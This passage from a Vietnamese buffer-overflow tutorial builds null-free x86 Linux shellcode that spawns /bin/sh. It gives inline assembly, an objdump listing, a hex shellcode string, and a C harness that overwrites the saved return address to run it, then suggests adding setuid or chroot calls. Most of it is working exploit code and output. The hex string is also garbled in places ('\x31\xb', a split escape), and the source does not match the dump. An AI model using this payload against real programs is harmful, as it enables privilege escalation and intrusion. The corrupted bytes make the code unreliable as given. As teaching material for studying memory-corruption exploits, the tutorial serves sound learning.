Các hàm bị lỗi thường là các hàm xử lý chuỗi như strcpy(), 
scanf(). Để chèn được mã lệnh vào giữa chương trình, 
shellcode phải được chép vào dưới dạng một chuỗi. Tuy 
nhiên, các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký 
tự null (\0). Do đó, shellcode của chúng ta phải không được 
chứa bất kỳ giá trị null nào. Ta sẽ sử dụng một số thủ thuật 
để loại bỏ giá trị null, ví dụ lệnh:
push $0x00
Sẽ được thay thế tương đương bằng: 
xorl %eax, %eax
push %eax
Đó là cách xử lý các null byte trực tiếp. Giá trị null còn phát 
sinh khi chuyển các mã lệnh sang dạng hexa. Ví dụ, lệnh 
chuyển giá trị 0x1 vào thanh ghi %eax để gọi _exit():
0x804c6d6 <_exit+6>:    mov    $0x1,%eax
Chuyển sang dạng hexa sẽ thành chuỗi:
b8 01 00 00 00          mov    $0x1,%eax
Thủ thuật sử dụng là khởi tạo giá trị cho %eax bằng một 
thanh ghi có giá trị 0, sau đó tăng nó lên 1 (hoặc cũng có thể 
dùng lệnh movb thao tác trên 1 byte thấp của %eax)
31 c0                   xor    %eax,%eax
40                      inc    %eax
3.5 Tạo shellcode
Chúng ta đã có đầy đủ những gì cần thiết để tạo shellcode. 
Chương trình tạo shellcode:
/* shellcode_asm.c */
int main()
{
  asm("
    /* push giá trị null kết thúc /bin/sh vào stack */
        xorl %eax,%eax
        pushl %eax
    /* push chuỗi /bin/sh vào stack */
        pushl $0x68732f2f /* chuỗi //sh, độ dài 1 word */
        pushl $0x6e69622f /* chuỗi /bin */
    /* %ebx chứa địa chỉ chuỗi /bin/sh */
        movl %esp, %ebx
    /* push con trỏ NULL, phần tử thứ hai của mảng tham số 
*/    
     pushl %eax
    /* push địa chỉ của /bin/sh, phần tử thứ hai của mảng tham 
số */   
     pushl %ebx
    /* %ecx chứa địa chỉ mảng tham số */
     movl %esp,%ecx
    /* %edx chứa địa chỉ mảng biến môi trường, con trỏ NULL 
*/
    /* có thể dùng lệnh tương đương cdq, ngắn hơn 1 byte */
     movl %eax, %edx     
    /* Hàm execve(): %eax = 0xb */
        movb $0xb,%al
    /* Gọi hàm */
        int  $0x80

    /* Giá trị trả về 0 cho hàm _exit() */
        xorl %ebx,%ebx
    /*  Hàm _exit(): %eax = 0x1 */
     movl %ebx,%eax
        inc %eax
    /* Gọi hàm */
        int  $0x80
      ");
}
Dịch shellcode trên và dump ở dạng hợp ngữ:
[SkZ0@gamma bof]$ gcc ­o shellcode_asm 
shellcode_asm.c
[SkZ0@gamma bof]$ objdump ­d shellcode_asm | grep \:  ­A 
17
08048380 :
 8048380:       55                      pushl  %ebp
 8048381:       89 e5                   movl   %esp,%ebp
 8048383:       31 c0                   xorl   %eax,%eax
 8048385:       50                      pushl  %eax
 8048386:       68 2f 2f 73 68          pushl  $0x68732f2f
 804838b:       68 2f 62 69 6e          pushl  $0x6e69622f
 8048390:       89 e3                   movl   %esp,%ebx
 8048392:       50                      pushl  %eax
 8048393:       53                      pushl  %ebx
 8048394:       89 e1                   movl   %esp,%ecx
 8048396:       89 c2                   movl   %eax,%edx
 8048398:       b0 0b                   movb   $0xb,%al
 804839a:       cd 80                   int    $0x80
 804839c:       31 db                   xorl   %ebx,%ebx
 804839e:       31 c0                   xorl   %eax,%eax
 80483a0:       40                      incl   %eax
 80483a1:       cd 80                   int    $0x80
 
Hãy chạy thử shellcode trên:
/* testsc.c */
  char shellcode[] =
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\x
e3\x50"
 "\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\
xcd\x80";

  int main()
  {
      int * ret;

      /* ghi đè giá trị bảo lưu %eip trên stack bằng địa chỉ 
shellcode */
      /* khoảng cách so với biến ret là 8 byte (2 word): */
      /*   ­ 4 byte cho biến ret */
      /*   ­ 4 byte cho giá trị bảo lưu %ebp */
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
Chạy thử chương trình testsc:
[SkZ0@gamma bof]$ gcc testsc.c ­o testsc
[SkZ0@gamma bof]$ ./testsc
bash$ exit
[SkZ0@gamma bof]$ 
Ta có thể thêm vào các hàm để mở rộng tính năng của 
shellcode, thực hiện các thao tác cần thiết khác trước khi gọi 
"/bin/sh" như setuid(), setgid(), chroot(),... bằng cách chèn 
mã hợp ngữ của các hàm này vào trước đoạn shellcode trên.
Có thể thấy ở ví dụ chạy thử shellcode ý tưởng cơ bản để 
khai thác lỗi tràn bộ đệm, chi tiết sẽ được trình bày trong 
phần tiếp theo. 
Xem tiếp

You might also like